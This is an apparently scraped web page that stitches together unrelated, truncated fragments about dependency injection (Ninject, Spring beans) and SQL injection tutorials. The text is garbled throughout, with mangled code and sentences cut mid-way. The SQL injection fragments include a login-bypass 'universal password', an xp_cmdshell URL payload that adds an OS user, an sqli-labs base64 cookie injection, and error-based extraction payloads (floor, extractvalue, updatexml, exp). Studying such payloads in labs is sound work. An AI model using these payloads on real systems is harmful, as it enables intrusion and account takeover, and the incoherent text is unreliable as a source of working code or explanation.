gac injection

The result of the three steps I showed you on the previous section are that the knowledge about the implementation class th At should is instantiated to fulfill requests for the Ivaluecalculator interface have been set up in Ninject.The result is three steps, and the previous section uses Ninject to instantiate the Ivaluecalculator interfaceOf course, I has not improved my application because that knowledge remains defined in the Home controller, meaning that The Home controller is a still tight

;}public void Setpro (Properties Pro) {This.pro = Pro;}public static void Main (string[] args) {ApplicationContext context = new Classpathxmlapplicationcontext ("Beans.xml");Useraction u1 = (useraction) context.getbean ("Useraction");System.out.println (u1.str+ "=====" +u1.strlist);System.out.println (u1.strmap+ "= = =" +u1.pro);U1.add ();}}Public interface Userdao {public void Add ();}public class Userdaoimpl implements userdao{@Overridepublic void Add () {System.out.println ("=========userdao=

"); System.out.println (people1); People people2= (people) Ac.getbean ("People2"); System.out.println (people2); People people3= (people) Ac.getbean ("People3"); System.out.println (PEOPLE3); People people4= (people) Ac.getbean ("People4"); System.out.println (PEOPLE4); }}Inject static and non-static classespublic class Factory {public people createpeople () { people P=new people (); P.setid (5); P.setname ("smal

user_id= ' admin ' and password= ' 2 '] and [' 1 '], A logical OR operation of two bool values, constant true. The query result of the SQL statement is true, which means that authentication is successful and can be logged into the system."Experimental Steps"First, the use of universal password injection1.1 Select a forum with vulnerabilities650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M01/77/C2/wKiom1ZtnF_w5FEAAAB8msg79nE492.png "style=" float: none; "title=" 11.png "alt=" Wkiom1ztnf_

This gives unscrupulous students the opportunity to input some strange query strings and splice them into specific SQL statements to inject them. Not only can important information of the database be obtained, but the entire table can be deleted even if the permissions are not set. Therefore, the SQL injection vulnerability is quite serious. I found that when I was just learning to write a website, I also rely on splicing SQL statements to eat ......

/// /// Base class for accessing the page/// By Jia Shiyi 2011-8-28/// Public class basewww: Page{# Region variables and fields/// /// Replace page. Request. querystring/// Protected namevaluecollection querystring; /// /// Overload onload exclusion injection code and Processing/// /// Protected override void onload (eventargs E){Querystring = new namevaluecollection ();// Exclude the injection codeFor (INT

; Property> Bean> BeanID= "Userutil"class= "Cn.com.xf.UserUtil"> Constructor-argref= "User">Constructor-arg> Bean>Beans>Above, I was not the same as the previous one, did not use the P tag, but the effect is the same, note Package Cn.com.xf;import Org.springframework.context.configurableapplicationcontext;import Org.springframework.context.support.classpathxmlapplicationcontext;public class Test {public static void main ( String[] args) { configurableapplicationcontext

Including the implementation and application of SQL injection, which I wrote, is also an example of this, since no filtering is encountered, so it is fairly easy to inject success, as follows: Copy Code code as follows: Http://www.jb51.net/show.asp?id=1;exec master.dbo.xp_cmdshell ' net user Angel Pass/add ';-- This often leads to misunderstanding, that as long as the variable filtered ' can prevent SQL

This is the same as LESS20, the only difference is that the parentheses are added and the cookie is encoded using the Base64 (because the Base64_decode decoding function is used)The admin was encoded as ywrtaw4= but the SQL statements executed did not changeAdd single quote encoding, and then modify the cookieThen take the LESS20 code and make a code with base64."Sqli-labs" Less21 cookie Injection-error based-complex-string (complex character-based co

~ All to check user () For example ~1.floor ()id = 1 and (select 1 from (SELECT COUNT (*), concat (version (), Floor (rand (0))) x from Information_schema.tables Group by X A2.extractvalue ()id = 1 and (Extractvalue (1, concat (0x5c, (select User ()))))3.updatexml ()id = 1 and (Updatexml (0x3a,concat (1, (select User ())), 1))4.exp ()ID =1 and EXP (~ (SELECT * FROM (select User ()) a))5. There are six kinds of functions (but in general can be categorized as a category)GeometryCollection ()id = 1